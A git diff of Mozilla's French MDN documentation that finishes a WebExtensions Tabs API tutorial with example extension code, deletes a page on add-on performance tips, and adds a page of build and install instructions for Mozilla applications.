    • +
  • il accorde uniquement la permission dans l'onglet actif..
    • +
+ +

L'avantage de cette approche est que l'utilisateur ne recevra pas d'avertissement d'autorisation indiquant que votre extension peut “Accéder à vos données pour tous les sites Web”. En effet, la permission <all_urls> permet à une extension d'exécuter des scripts dans n'importe quel onglet, à tout moment, alors que "activeTab" se limite à autoriser l'extension à effectuer une action demandée par l'utilisateur dans l'onglet en cours.

+ +

En savoir plus sur les onglets et leurs propriétés

+ +

Il y aura des occasions où vous voulez obtenir une liste de tous les onglets dans toutes les fenêtres du navigateur. D'autres fois, vous pourriez vouloir trouver un sous-ensemble d'onglets qui correspondent à certains critères spécifiques, tels que ceux ouverts à partir d'un onglet spécifique ou l'affichage des pages d'un domaine particulier. Et une fois que vous avez votre liste d'onglets, vous voudrez probablement en savoir plus sur leurs propriétés.

+ +

C'est ici qu'intervient {{WebExtAPIRef("tabs.query")}}. Utilisé seul pour obtenir tous les onglets ou prendre l'objet queryInfo — pour spécifier des critères de requête tels que l'activation de l'onglet, dans la fenêtre en cours ou plus de 17 critères — {{WebExtAPIRef("tabs.query")}} renvoie un tableau d'objets {{WebExtAPIRef("tabs.Tab")}} objects contenant des informations sur les onglets.

+ +

Lorsque vous souhaitez uniquement obtenir des informations sur l'onglet en cours, vous pouvez obtenir un objet {{WebExtAPIRef("tabs.Tab")}} pour cet onglet à l'aide de  {{WebExtAPIRef("tabs.getCurrent")}}. Si vous avez un ID d'onglet, vous pouvez obtenir son objet {{WebExtAPIRef("tabs.Tab")}} en utilisant {{WebExtAPIRef("tabs.get")}}.

+ +

Par exemple

+ +

Pour voir comment {{WebExtAPIRef("tabs.query")}} et {{WebExtAPIRef("tabs.Tab")}} sont utilisés, voyons comment l'exemple tabs-tabs-tabs ajoute la liste de  “passer aux onglets” à son popup bouton de barre d'outils.

+ +

The tabs tabs tabs toolbar menu showing the switch to tap area

+ +

manifest.json

+ +

Voici le manifest.json:

+ +
{
+  "browser_action": {
+    "browser_style": true,
+    "default_title": "Tabs, tabs, tabs",
+    "default_popup": "tabs.html"
+  },
+  "description": "A list of methods you can perform on a tab.",
+  "homepage_url": "https://github.com/mdn/webextensions-examples/tree/master/tabs-tabs-tabs",
+  "manifest_version": 2,
+  "name": "Tabs, tabs, tabs",
+  "permissions": [
+    "tabs"
+  ],
+  "version": "1.0"
+}
+
+ +
+

Notez ce qui suit :

+ +
    +
  • +

    tabs.html est défini comme default_popup dans browser_action. C'est affiché chaque fois que l'utilisateur clique sur l'icône de la barre d'outils de l'extension.

    +
    • +
  • +

    Les permissions incluent des onglets. Ceci est nécessaire pour prendre en charge la fonction de liste d'onglets, car l'extension lit le titre des onglets à afficher dans la fenêtre contextuelle.

    +
    • +
+
+ +

tabs.html

+ +

tabs.html définit le contenu du popup de l'extension :

+ +
<!DOCTYPE html>
+
+<html>
+
+ <head>
+    <meta charset="utf-8">
+    <link rel="stylesheet" href="tabs.css"/>
+ </head>
+
+<body>
+
+ <div class="panel">
+    <div class="panel-section panel-section-header">
+     <div class="text-section-header">Tabs-tabs-tabs</div>
+    </div>
+
+    <a href="#" id="tabs-move-beginning">Move active tab to the beginning of the window</a><br>
+
+
+…
+
+Define the other menu items
+…
+
+    <div class="switch-tabs">
+
+     <p>Switch to tab</p>
+
+     <div id="tabs-list"></div>
+
+    </div>
+ </div>
+
+ <script src="tabs.js"></script>
+
+</body>
+
+</html>
+
+ +

Ici, vous pouvez voir que, après la création des éléments de menu, un div vide avec la liste des onglets ID est configuré pour contenir la liste des onglets. Ensuite, tabs.js est appelée.

+ +

Voici un résumé de ce qui précède :

+ +
    +
  1. Les éléments de menu sont déclarés.  
    2. +
  2. Une div vide avec tabs-list est déclaré comme contenant la liste des onglets.
    3. +
  3. tabs.js est appelé.
    4. +
+ +

tabs.js

+ +

Dans tabs.js nous pouvons voir comment la liste des onglets est construite et ajoutée à la popup.

+ +

Tout d'abord, un gestionnaire d'événements est ajouté pour exécuter listTabs() quand tabs.html est chargé :

+ +

Création de la fenêtre contextuelle

+ +

Tout d'abord, un gestionnaire d'événements est ajouté pour exécuter listTabs() quand tabs.html est chargé :

+ +
document.addEventListener("DOMContentLoaded", listTabs);
+ +

La première chose que fait listTabs() est d'appeler getCurrentWindowTabs(), où {{WebExtAPIRef("tabs.query")}} est utilisé pour obtenur un objet  {{WebExtAPIRef("tabs.Tab")}} pour le onglets dans la fenêtre courante :

+ +
function getCurrentWindowTabs() {
+  return browser.tabs.query({currentWindow: true});
+}
+
+ +

Maintenant, listTabs() est prêt à créer le contenu de la popup.

+ +

Pour commencer :

+ +
    +
  1. Récupérer les tabs-list div.
    2. +
  2. Créer un fragment de document (dans lequel la liste sera construite).
    3. +
  3. Mettre les compteurs.
    4. +
  4. Effacer le contenu de tabs-list div.
    5. +
+ +
function listTabs() {
+ getCurrentWindowTabs().then((tabs) => {
+    let tabsList = document.getElementById('tabs-list');
+    let currentTabs = document.createDocumentFragment();
+    let limit = 5;
+    let counter = 0;
+
+    tabsList.textContent = '';
+
+ +

Ensuite, nous allons créer les liens pour chaque onglet :

+ +
    +
  1. Boucle les 5 premiers éléments de l'objet {{WebExtAPIRef("tabs.Tab")}}.
    2. +
  2. Pour chaque poste, ajoutez un hyperlien vers le fragment de document. +
      +
    • L'étiquette du lien, c'est-à-dire son texte, est définie à l'aide du titre de l'onglet (ou de l'ID, s'il n'a pas de titre).
      • +
    • L'adresse du lien est définie à l'aide de l'ID de l'onglet.
      • +
    +
    3. +
+ +
    for (let tab of tabs) {
+     if (!tab.active && counter <= limit) {
+        let tabLink = document.createElement('a');
+
+        tabLink.textContent = tab.title || tab.id;
+
+       tabLink.setAttribute('href', tab.id);
+        tabLink.classList.add('switch-tabs');
+        currentTabs.appendChild(tabLink);
+     }
+
+     counter += 1;
+
+    }
+
+ +

Enfin, le fragment du document est écrit dans la div tabs-list :

+ +
    tabsList.appendChild(currentTabs);
+  });
+}
+
+ +

Travailler avec l'onglet actif

+ +

Un autre exemple connexe est l'option d'information “Alert active tab”qui décharge toutes les propriétés de l'objet {{WebExtAPIRef("tabs.Tab")}} de l'onglet actif dans une alerte :

+ +
 else if (e.target.id === "tabs-alertinfo") {
+   callOnActiveTab((tab) => {
+     let props = "";
+     for (let item in tab) {
+       props += `${ item } = ${ tab[item] } \n`;
+     }
+     alert(props);
+   });
+ }
+
+ +

Où callOnActiveTab() ftrouve l'objet de tabulation active en faisant une boucle sur les objets {{WebExtAPIRef("tabs.Tab")}} qui recherchent l'objet avec l'ensemble actif :

+ +
document.addEventListener("click", function(e) {
+ function callOnActiveTab(callback) {
+   getCurrentWindowTabs().then((tabs) => {
+     for (var tab of tabs) {
+       if (tab.active) {
+         callback(tab, tabs);
+       }
+     }
+   });
+ }
+}
+
+
+ +

Création, duplication, déplacement, mise à jour, rechargement et suppression des onglets

+ +

Après avoir recueilli des informations sur les onglets, vous voudrez probablement faire quelque chose avec eux — soit pour offrir aux utilisateurs des fonctionnalités de manipulation et de gestion des onglets — soit pour implémenter des fonctionnalités dans votre extension. Les fonctions suivantes sont disponibles :

+ +
    +
  • Créer un nouvel onglet ({{WebExtAPIRef("tabs.create")}}).
    • +
  • Dupliquer un onglet ({{WebExtAPIRef("tabs.duplicate")}}).
    • +
  • Supprimer un onglet ({{WebExtAPIRef("tabs.remove")}}).
    • +
  • Déplacer un onglet ({{WebExtAPIRef("tabs.move")}}).
    • +
  • Mettre à jour l'URL d'un onglet — accéderefficacement à une nouvelle page — ({{WebExtAPIRef("tabs.update")}}).
    • +
  • Rechargez la page de l'onglet ({{WebExtAPIRef("tabs.reload")}}).
    • +
+ +
+

NOTE :

+ +

Ces fonctions nécessitent toutes l'ID (ou les ID) de l'onglet qu'elles manipulent :

+ +
    +
  • {{WebExtAPIRef("tabs.duplicate")}}
    • +
  • {{WebExtAPIRef("tabs.remove")}}
    • +
  • {{WebExtAPIRef("tabs.move")}}
    • +
+ +

Alors que les fonctions suivantes agissent sur l'onglet actif (si aucun ID d'onglet n'est fourni) :

+ +
    +
  • {{WebExtAPIRef("tabs.update")}}
    • +
  • {{WebExtAPIRef("tabs.reload")}}
    • +
+
+ +

Par exemple

+ +

L'exemple tabs-tabs-tabs utilise toutes ces fonctionnalités sauf la mise à jour de l'URL d'un onglet. La façon dont ces API sont utilisées est similaire, nous allons donc regarder l'une des implémentations les plus impliquées, celle de l'option “Deplacer l'onglet actif vers le début de la liste des fenêtres”. Mais d'abord, voici une démonstration de la fonctionnalité en action :

+ +

{{EmbedYouTube("-lJRzTIvhxo")}}

+ +

manifest.json

+ +

Aucune de ces fonctions ne nécessite de permission pour fonctionner, donc il n'y a aucune fonctionnalité dans le fichier manifest.json qui doit être mise en surbrillance.

+ +

tabs.html

+ +

tabs.html définit le “menu” affiché dans la fenêtre contextuelle, qui inclut l'option “Déplacer l'onglet actif au début de la liste des fenêtres”, wavec une série de balises <a> groupées par un séparateur visuel. Chaque élément de menu reçoit un ID, qui est utilisé dans tabs.js pour déterminer quel élément de menu est demandé.

+ +
    <a href="#" id="tabs-move-beginning">Move active tab to the beginning of the window</a><br>
+    <a href="#" id="tabs-move-end">Move active tab to the end of the window</a><br>
+
+    <div class="panel-section-separator"></div>
+
+
+    <a href="#" id="tabs-duplicate">Duplicate active tab</a><br>
+
+    <a href="#" id="tabs-reload">Reload active tab</a><br>
+    <a href="#" id="tabs-alertinfo">Alert active tab info</a><br>
+ +

tabs.js

+ +

Pour implémenter le "menu" défini dans tabs.html, tabs.js inclut un écouteur pour les clics dans tabs.html

+ +
document.addEventListener("click", function(e) {
+ function callOnActiveTab(callback) {
+
+   getCurrentWindowTabs().then((tabs) => {
+     for (var tab of tabs) {
+       if (tab.active) {
+         callback(tab, tabs);
+       }
+     }
+   });
+}
+}
+
+ +

Une série d'instructions if cherche alors à faire correspondre l'identifiant de l'élément cliqué. Cet extrait de code est pour l'option “Déplacer l'onglet actif au début de la liste des fenêtres” :

+ +
 if (e.target.id === "tabs-move-beginning") {
+   callOnActiveTab((tab, tabs) => {
+     var index = 0;
+     if (!tab.pinned) {
+       index = firstUnpinnedTab(tabs);
+     }
+     console.log(`moving ${tab.id} to ${index}`)
+     browser.tabs.move([tab.id], {index});
+   });
+ }
+
+ +

Il est intéressant de noter l'utilisation de console.log. Cela vous permet de générer des informations sur la console du debugger, ce qui peut être utile lors de la résolution des problèmes rencontrés lors du développement.

+ +

Example of the console.log output, from the move tabs feature, in the debugging console

+ +

Le code de déplacement appelle d'abord callOnActiveTab() qui à son tour appelle  getCurrentWindowTabs() pour obtenir un objet {{WebExtAPIRef("tabs.Tab")}} contenant les onglets de la fenêtre active. Il parcourt ensuite l'objet pour rechercher et renvoyer l'objet onglet actif :

+ +
 function callOnActiveTab(callback) {
+   getCurrentWindowTabs().then((tabs) => {
+     for (var tab of tabs) {
+       if (tab.active) {
+         callback(tab, tabs);
+       }
+     }
+   });
+ }
+
+ +
Onglets épinglés
+ +

Une caractéristique des onglets est que l'utilisateur peut épingler des onglets dans une fenêtre. Les onglets épinglés sont placés au début de la liste des onglets et ne peuvent pas être déplacés. Cela signifie que la première position vers laquelle un onglet peut se déplacer est la première position après les onglets épinglés. Ainsi, firstUnpinnedTab() est appelé pour trouver la position du premier onglet non goupillé en faisant une boucle dans l'objet tabs :

+ +
function firstUnpinnedTab(tabs) {
+ for (var tab of tabs) {
+   if (!tab.pinned) {
+     return tab.index;
+   }
+ }
+}
+
+ +

Nous avons maintenant tout ce qu'il faut pour déplacer l'onglet : l'objet onglet actif à partir duquel nous pouvons obtenir l'ID de l'onglet et la position à laquelle l'onglet doit être déplacé. Ainsi, nous pouvons mettre en œuvre le mouvement :

+ +
     browser.tabs.move([tab.id], {index});
+ +

Les fonctions restantes à dupliquer, recharger, créer et supprimer des onglets sont implémentées de manière similaire.

+ +

Manipulation du niveau du zoom d'un onglet

+ +

Le prochain ensemble de fonctions vous permet d'obtenir  ({{WebExtAPIRef("tabs.getZoom")}}) et de définir ({{WebExtAPIRef("tabs.setZoom")}}) le niveau de zoom dans un onglet. Vous pouvez également récupérer les paramètres de zoom  ({{WebExtAPIRef("tabs.getZoomSettings")}}) mais, au moment de l'écriture, la possibilité de définir les paramètres ({{WebExtAPIRef("tabs.setZoomSettings")}}) n'était pas disponible dans Firefox.

+ +

Le niveau de zoom peut être compris entre 30% et 300% (représenté par des décimales de 0.3 à 3).

+ +

Dans Firefox les paramètres de zoom par défaut sont :

+ +
    +
  • niveau de zoom par défaut : 100%.
    • +
  • mode zoom: automatique (le navigateur gère donc le réglage des niveaux de zoom).
    • +
  • portée des changements de zoom : "per-origin", ce qui signifie que lorsque vous visitez à nouveau un site, il prend le niveau de zoom défini lors de votre dernière visite.
    • +
+ +

Par exemple

+ +

L'exemple tabs-tabs-tabs comprend trois démonstrations de la fonction de zoom : zoom avant, zoom arrière, et réinitialisation du zoom. Voici la fonctionnalité en action :

+ +

{{EmbedYouTube("RFr3oYBCg28")}}

+ +

Jetons un coup d'oeil à la façon dont le zoom est implémenté.

+ +

manifest.json

+ +

Aucune des fonctions de zoom n'a besoin d'autorisations. Par conséquent, aucune fonction du fichier manifest.json ne doit être mise en surbrillance.

+ +

tabs.html

+ +

Nous avons déjà discuté comment le tabs.html définit les options pour cette extension, rien de nouveau ou unique n'est fait pour fournir les options de zoom.

+ +

tabs.js

+ +

tabs.js commence par définir plusieurs constantes utilisées dans le code du zoom :

+ +
const ZOOM_INCREMENT = 0.2;
+const MAX_ZOOM = 3;
+const MIN_ZOOM = 0.3;
+const DEFAULT_ZOOM = 1;
+
+ +

Il utilise ensuite le même écouteur que nous avons discuté précédemment afin qu'il puisse agir sur les clics dans tabs.html.

+ +

Pour la fonction zoom, ceci s'exécute :

+ +
 else if (e.target.id === "tabs-add-zoom") {
+   callOnActiveTab((tab) => {
+     var gettingZoom = browser.tabs.getZoom(tab.id);
+     gettingZoom.then((zoomFactor) => {
+       //the maximum zoomFactor is 3, it can't go higher
+       if (zoomFactor >= MAX_ZOOM) {
+         alert("Tab zoom factor is already at max!");
+       } else {
+         var newZoomFactor = zoomFactor + ZOOM_INCREMENT;
+         //if the newZoomFactor is set to higher than the max accepted
+         //it won't change, and will never alert that it's at maximum
+         newZoomFactor = newZoomFactor > MAX_ZOOM ? MAX_ZOOM : newZoomFactor;
+         browser.tabs.setZoom(tab.id, newZoomFactor);
+       }
+     });
+   });
+ }
+
+ +

Ce code utilise callOnActiveTab() pour obtenir les détails de l'onglet actif, puis  {{WebExtAPIRef("tabs.getZoom")}} obtient le facteur de zoom actuel de l'onglet. Le zoom actuel est comparé au maximum défini (MAX_ZOOM) et une alerte est émise si l'onglet est déjà au zoom maximum. Sinon, le niveau de zoom est incrémenté mais limité au zoom maximum, puis le zoom est défini avec {{WebExtAPIRef("tabs.getZoom")}}.

+ +

Manipuler le CSS d'un onglet

+ +

Une autre fonctionnalité importante offerte par l'API Tabs est la possibilité de manipuler le CSS dans un onglet — ajouter un nouveau CSS dans un onglet ({{WebExtAPIRef("tabs.insertCSS")}}) ou supprimer CSS d'un onglet  ({{WebExtAPIRef("tabs.removeCSS")}}).

+ +

Cela peut être utile si vous voulez, par exemple, mettre en évidence certains éléments de la page ou modifier la disposition par défaut de la page (liste courte des cas d'utilisation).

+ +

Par exemple

+ +

L'exemple apply-css utilise ces fonctionnalités pour ajouter une bordure rouge à la page Web dans l'onglet actif. Voici la fonctionnalité en action:

+ +

{{EmbedYouTube("bcK-GT2Dyhs")}}

+ +

Voyons comment cela se passe.

+ +

manifest.json

+ +

Pour utiliser les fonctionnalités CSS dont vous avez besoin :

+ + + +

Ce dernier est le plus utile, car il permet à une extension d'utiliser  {{WebExtAPIRef("tabs.insertCSS")}} et {{WebExtAPIRef("tabs.removeCSS")}} dans l'onglet actif lorsqu'il est exécuté depuis le navigateur de l'extension ou action de la page, menu contextuel ou un raccourci.

+ +
{
+  "description": "Adds a page action to toggle applying CSS to pages.",
+
+ "manifest_version": 2,
+ "name": "apply-css",
+ "version": "1.0",
+ "homepage_url": "https://github.com/mdn/webextensions-examples/tree/master/apply-css",
+
+ "background": {
+
+    "scripts": ["background.js"]
+ },
+
+ "page_action": {
+
+    "default_icon": "icons/off.svg",
+    "browser_style": true
+ },
+
+ "permissions": [
+    "activeTab",
+    "tabs"
+ ]
+
+}
+
+ +

Vous noterez que la permission "tabs" est ajoutée en plus de "activeTab". Cette permission supplémentaire est nécessaire pour permettre au script de l'extension d'accéder à l'URL de l'onglet, dont nous verrons l'importance dans un instant.

+ +

Les autres caractéristiques principales du fichier manifeste sont la définition de:

+ +
    +
  • un script d'arrière-plan, qui commence à s'exécuter dès que l'extension est chargée.
    • +
  • une “action de page”, qui définit une icône à ajouter à la barre d'adresse du navigateur.
    • +
+ +

background.js

+ +

Au démarrage, background.js définit un certain nombre de constantes à utiliser dans l'extension qui définissent le CSS à appliquer, des titres pour les “actions de page”, et une liste de protocoles dans lesquels l'extension fonctionnera :

+ +
const CSS = "body { border: 20px solid red; }";
+const TITLE_APPLY = "Apply CSS";
+const TITLE_REMOVE = "Remove CSS";
+const APPLICABLE_PROTOCOLS = ["http:", "https:"];
+
+ +

Lors du premier chargement, l'extension utilise {{WebExtAPIRef("tabs.query")}} pour obtenir une liste de tous les onglets de la fenêtre du navigateur en cours. Il parcourt ensuite les onglets appelant initializePageAction().

+ +
var gettingAllTabs = browser.tabs.query({});
+
+gettingAllTabs.then((tabs) => {
+ for (let tab of tabs) {
+   initializePageAction(tab);
+ }
+});
+
+ +

initializePageAction utilise protocolIsApplicable() pour déterminer si l'URL de l'onglet actif est celle à laquelle le CSS peut être appliqué :

+ +
function protocolIsApplicable(url) {
+ var anchor =  document.createElement('a');
+ anchor.href = url;
+ return APPLICABLE_PROTOCOLS.includes(anchor.protocol);
+}
+
+ +

Ensuite, si l'exemple peut agir sur l'onglet, initializePageAction() définit l'icône  pageAction (barre de navigation) et le titre de l'onglet pour utiliser les versions ‘off’ avant de rendre la pageAction visible :

+ +
function initializePageAction(tab) {
+
+ if (protocolIsApplicable(tab.url)) {
+   browser.pageAction.setIcon({tabId: tab.id, path: "icons/off.svg"});
+   browser.pageAction.setTitle({tabId: tab.id, title: TITLE_APPLY});
+   browser.pageAction.show(tab.id);
+ }
+}
+
+ +

Maintenant, un écouteur sur geAction.onClicked attend que l'icône pageAction soit cliqué et appelle toggleCSS quand il l'est.

+ +
browser.pageAction.onClicked.addListener(toggleCSS);
+ +

toggleCSS() obtient le titre de la pageAction  puis prend l'action décrite :

+ +
    +
  • Pour "Appliquer CSS”: + +
      +
    • Basculer l'icône pageAction et le titre dans les versions “supprimer”.
      • +
    • Applique le CSS en utilisant {{WebExtAPIRef("tabs.insertCSS")}}.
      • +
    +
    • +
  • Pour “Supprimer CSS”: +
      +
    • Basculer l'icône pageAction et le titre dans les versions “apply”.
      • +
    • Supprime le CSS en utilisant {{WebExtAPIRef("tabs.removeCSS")}}.
      • +
    +
    • +
+ +
function toggleCSS(tab) {
+
+
+ function gotTitle(title) {
+
+    if (title === TITLE_APPLY) {
+     browser.pageAction.setIcon({tabId: tab.id, path: "icons/on.svg"});
+     browser.pageAction.setTitle({tabId: tab.id, title: TITLE_REMOVE});
+     browser.tabs.insertCSS({code: CSS});
+    } else {
+     browser.pageAction.setIcon({tabId: tab.id, path: "icons/off.svg"});
+     browser.pageAction.setTitle({tabId: tab.id, title: TITLE_APPLY});
+     browser.tabs.removeCSS({code: CSS});
+    }
+ }
+
+ var gettingTitle = browser.pageAction.getTitle({tabId: tab.id});
+
+ gettingTitle.then(gotTitle);
+}
+
+ +

Enfin, pour s'assurer que pageAction est valide après chaque mise à jour de l'onglet, un écouteur sur {{WebExtAPIRef("tabs.onUpdated")}} appelle  initializePageAction() chaque fois que l'onglet est mis à jour pour vérifier que l'onglet utilise toujours un protocole auquel le CSS peut être appliqué.

+ +
browser.tabs.onUpdated.addListener((id, changeInfo, tab) => {
+
+ initializePageAction(tab);
+});
+
+ +

Quelques autres capacités intéressantes

+ +

Il existe deux autres fonctionnalités de l'API Tabs qui ne rentrent pas dans l'une des sections précédentes :

+ +
    +
  • capturez le contenu de l'onglet visible avec {{WebExtAPIRef("tabs.captureVisibleTab")}}.
    • +
  • détecter la langue principale du contenu dans un onglet en utilisant  {{WebExtAPIRef("tabs.detectLanguage")}}, que vous pourriez utiliser, par exemple, pour faire correspondre la langue de l'interface utilisateur de votre extension avec celle de la page dans laquelle elle s'exécute.
    • +
+ +

Apprendre encore plus

+ +

Si vous voulez en savoir plus sur l'API Tabs, consultez le :

+ + diff --git a/files/fr/mozilla/add-ons_bonnes_pratiques_performances_extensions/index.html b/files/fr/mozilla/add-ons_bonnes_pratiques_performances_extensions/index.html deleted file mode 100644 index e1d91724fb..0000000000 --- a/files/fr/mozilla/add-ons_bonnes_pratiques_performances_extensions/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Add-ons bonnes pratiques performances extensions -slug: Mozilla/Add-ons_bonnes_pratiques_performances_extensions ---- -

Un des grands avantages de Firefox est son extrême extensibilité. Les extensions peuvent presque tout faire. Cela présente un inconvénient: les extensions mal écrites ont un impact majeur sur l'expérience de navigation, incluant les performances de Firefox lui-même. Cet article vous offre quelques bonnes pratiques et suggestions qui pourront non seulement augmenter les performances et la vitesse de votre extension, mais aussi celles de Firefox.

- -

Améliorer les performances au chargement

- -

Les extensions sont chargées et démarrés à chaque fois qu'une nouvelle fenêtre du navigateur est ouverte. Cela signifie qu'à chaque fois qu'une fenêtre s'ouvre, votre extension peut avoir un impact sur le temps que mettra l'utilisateur à voir le contenu qu'il essaye de visualiser. Il y a plusieurs choses que vous pouvez faire pour réduire la durée que votre extension ajoutera à l'apparition du contenu désiré par l'utilisateur.

- -

Chargez uniquement ce dont vous avez besoin, quand vous en avez besoin

- -

Ne chargez pas des choses au démarrage qui ne seront nécessaire que si l'utilisateur clique sur un bouton, ou si une préférence donnée est activé quand elle ne l'est pas. Si votre extension présente des fonctionnalités accessibles uniquement si l'utilisateur est identifié auprès d'un service, ne chargez pas de ressources pour ces fonctionnalités tant que l'utilisateur n'est pas identifié.

- -

Utilisez les modules de code JavaScript

- -

Vous pouvez créer vos propres JavaScript code modules incorporants les fonctionnalités qui ne sont requises que dans des circonstances particulières. Cela permet de charger à la volé des morceaux de votre extension, au lieu de tout charger d'un coup.

- -

While JavaScript modules can be extremely useful, and provide significant performance benefits, they should be used wisely. Loading modules incurs a small cost, so breaking code up to an unnecessary degree can be counter-productive. Code should be modularized to the extend that doing so increases clarity, and loading of large or expensive chunks of code fragments can be significantly deferred.

- -

Defer everything that you can

- -

Most extensions have a load event listener in the main overlay that runs their startup functions. Do as little as possible here. The browser window is blocked while your add-on's load handler runs, so the more it does, the slower Firefox will appear to the user.

- -

If there is anything that can be done even a fraction of a second later, you can use an {{ interface("nsITimer") }} or the {{ domxref("window.setTimeout()") }} method to schedule that work for later.  Even a short delay can have a big impact.

- -

Astuces de performances générales

- -

Evitez de créer des fuites de mémoires

- -

Memory leaks require the garbage collector and the cycle collector to work harder, which can significantly degrade performance.

- -

Zombie compartments are a particular kind of memory leak that you can detect with minimal effort.  See the Zombie compartments page, especially the Proactive checking of add-ons section.

- -

See Common causes of memory leaks in extensions for ways to avoid zombie compartments and other kinds of leaks.

- -

As well as looking for these specific kinds of leaks, it's worth exercising your extension's functionality and checking the contents of about:memory for any excessive memory usage.  For example, bug 719601 featured a "System Principal" JavaScript compartment containing 100s of MBs of memory, which is much larger than usual.

- -

Evitez d'écrire des CSS lents

- -
    -
  • Lire le guide "writing efficient CSS".
    • -
  • Remember that any selector in your rule which might match many different nodes is a source of inefficiency during either selector matching or dynamic update processing. This is especially bad for the latter if the selector can dynamically start or stop matching. Avoid unqualified ":hover" like the plague.
    • -
- -

Avoid DOM mutation event listeners

- -

DOM mutation event listeners are extremely expensive and, once added to a document even briefly, significantly harm its performance. As mutation events are officially deprecated, and there are many alternatives, they should be avoided at all costs.

- -

Lazily load services

- -

The XPCOMUtils JavaScript module provides two methods for lazily loading things:

- -
    -
  • defineLazyGetter() défini une fonction sur un objet spécifié qui agit comme un getter la première fois qu'il sera utilisé. See examples.
    • -
  • defineLazyServiceGetter() défini une fonction sur un objet spécifié qui agit comme un getter pour un service. The service isn't obtained until the first time it's used. {{ LXRSearch("ident", "string", "defineLazyServiceGetter", "Look through the source") }} for examples.
    • -
- -

Beaucoup de services commun sont dàja en cache dans Services.jsm.

- -

Utilisez les E/S asynchrones

- -

Ne jamais faire E/S synchrone dans le thread principal.

- -

N'importe quelle sorte d'E/S dans le thread principal, qu'elle soit sur un disque ou sur le réseau, peuvent provoquez de sérieux problème de ralentissement de l'interface utilisateur.

- -
    -
  • Ne jamais utiliser de XMLHttpRequests synchrone.
    • -
  • NetUtils.jsm fournis des helpers pour la lecture et la copies de fichier asynchrone.
    • -
  • Ne jamais accèder à une base de donnée SQLite de manière synchrone. Utilisez l'asynchronous API à la place.
    • -
  • Effectuer des opérations séquentielles, asynchrone peuvent être grandement simplifier en utilisant Promises.
    • -
- -

Evitez les évenements de mouvement de la souris

- -

Evitez d'utiliser les évenements de mouvement de la souris, tel que mouseover, mouseout, mouseenter, mouseexit, et plus spécialement mousemove. Ces évenements se déclenchent à haute fréquence, par conséquent leurs écouteurs d'évenements peuvent facilement provoquer une surcharge CPU.

- -

Quand ces évenements ne peuvent être évités, computation during the listeners should be kept to a minimum and real work throttled. Ces évenements doivent être ajoutés sur des éléments les plus spécifiques possible, et supprimé immédiatement lorsqu'il ne sont plus nécessaires.

- -

Evitez les images animées

- -

Animated images are much more expensive than generally expected, especially when used in XUL {{ XULElem("tree") }} elements..

- -

Considérez l'utilisation des Chrome Workers

- -

Vous pouvez utiliser {{ domxref("ChromeWorker") }} pour executer de longues tâches ou du traitement de données.

- -

Voir aussi

- - diff --git a/files/fr/mozilla/developer_guide/build_instructions/index.html b/files/fr/mozilla/developer_guide/build_instructions/index.html new file mode 100644 index 0000000000..958b486d2a --- /dev/null +++ b/files/fr/mozilla/developer_guide/build_instructions/index.html @@ -0,0 +1,108 @@ +--- +title: Compilation et installation +slug: Compilation_et_installation +tags: + - Documentation_sur_la_compilation + - Développement_de_Mozilla +translation_of: Mozilla/Developer_guide/Build_Instructions +translation_of_original: Build_and_Install +--- +
+

Se réferer à la page suivante pour la compilation de Thunderbird (utilisation de l'outil Mach recommandée) : Simple Thunderbird build

+
+ +
+

Ne commencez pas à compiler sans configurer vos options de compilation au préalable !

+
+ +

Compilation

+ +

Vous devez utiliser GNU make pour récupérer et compiler Mozilla. Aucun autre programme « make » n'est acceptable. Sous Windows, Mac OS X et Linux, utilisez « make » pour lancer GNU make ; sur la plupart des systèmes UNIX non-GNU, utilisez « gmake ».

+ +

Une fois les sources récupérées, assurez-vous de configurer une application comme décrit sur la page Configuration des options de compilation.

+ +

Pour Windows, Mac OS X et GNU/Linux, assurez-vous d'être dans le répertoire principal des sources (le répertoire « mozilla »), avant d'invoquer la commande make :

+ +
$ make -f client.mk build
+
+ +

Note pour Mac OS X : le chemin vers le répertoire des sources créé à la décompression du tarball des sources ne doit pas contenir d'espaces !

+ +

Pour la plupart des UNIX non-GNU, la commande est :

+ +
$ gmake -f client.mk build
+
+ +

Si vous désirez configurer et compiler manuellement, placez-vous (cd) dans votre répertoire objdir, lancez configure, et ensuite make/gmake. Configure récupèrera cependant toujours les options spécifiées dans votre fichier .mozconfig.

+ +

Lancement de votre nouvelle application

+ +

Il est possible d'exécuter votre nouvelle application directement depuis le répertoire dans lequel elle a été compilée. Cependant, le répertoire de compilation peut contenir des liens symboliques vers l'arbre de compilation ; vous devez passer par l'étape d'installation/packaging pour produire une applicationstandalone qui peut être partagée ou déplacée.

+ +

Windows et Linux

+ +

Sur les systèmes de compilation non-Macintosh, l'application finale peut être trouvée dansobjdir /dist/bin. Sur les plateformes POSIX (BSD, GNU/Linux, Solaris), vous devrez exécuter le fichier « mozilla » ou « firefox », pas le binaire « mozilla-bin » ou « firefox-bin ».

+ +

Mac OS X

+ +

Sous Macintosh, le système de compilation produit un bundle d'application dansobjdir /dist/AppName .app, par exempleobjdir /dist/Minefield.app.

+ +

Veuillez noter que lorsque vous compilez avec --enable-debug, l'application est placée dansobjdir /dist/AppName Debug.app, par exemple.objdir /dist/MinefieldDebug.app.

+ +

Vous pouvez exécuter l'application soit en ouvrant le bundle à partir du Finder, soit depuis la ligne de commande à l'aide de

+ +
$ objdir/dist/AppName[Debug].app/Contents/MacOS/appname
+
+ +

par exemple :

+ +
$ objdir/dist/MinefieldDebug.app/Contents/MacOS/firefox
+
+ +
Construction d'un .dmg pour une compilation XULRunner
+ +

Ces instructions concernent la construction d'un fichier .dmg depuis une compilation Mac OS X Universal binary.

+ +
    +
  1. Effectuez une compilation Universal Binary
    2. +
  2. Créez les fichiers source chown_root.c et chown_revert.c depuis mxr:chown_root.c et mxr:chown_revert.c
    3. +
  3. Utilisez gcc pour compiler ces fichiers quelque part : gcc -o chown_root chown_root.c et gcc -o chown_revert chown_revert.c
    4. +
  4. Rendez-vous dans «objdir»/«arch»/xulrunner/installer et entrez make CHOWN_ROOT=«chemin_absolu_vers_votre_root_chown» CHOWN_REVERT=«chemin_absolu_vers_votre_binaire_inverse_chown»
    5. +
+ +

Ceci devrait vous construire un binaire dans «arch»/dist.

+ +

Installation de votre application

+ +

Sur les plateformes POSIX, vous pouvez installer votre application dans le système en lançantgmake install . Cependant, ce n'est pas recommandé et il est préférable de suivre les instructions suivantes pour créer un tarball, et de décompresser ensuite ce tarball.

+ +

Pour le tronc (Firefox 3)

+ +

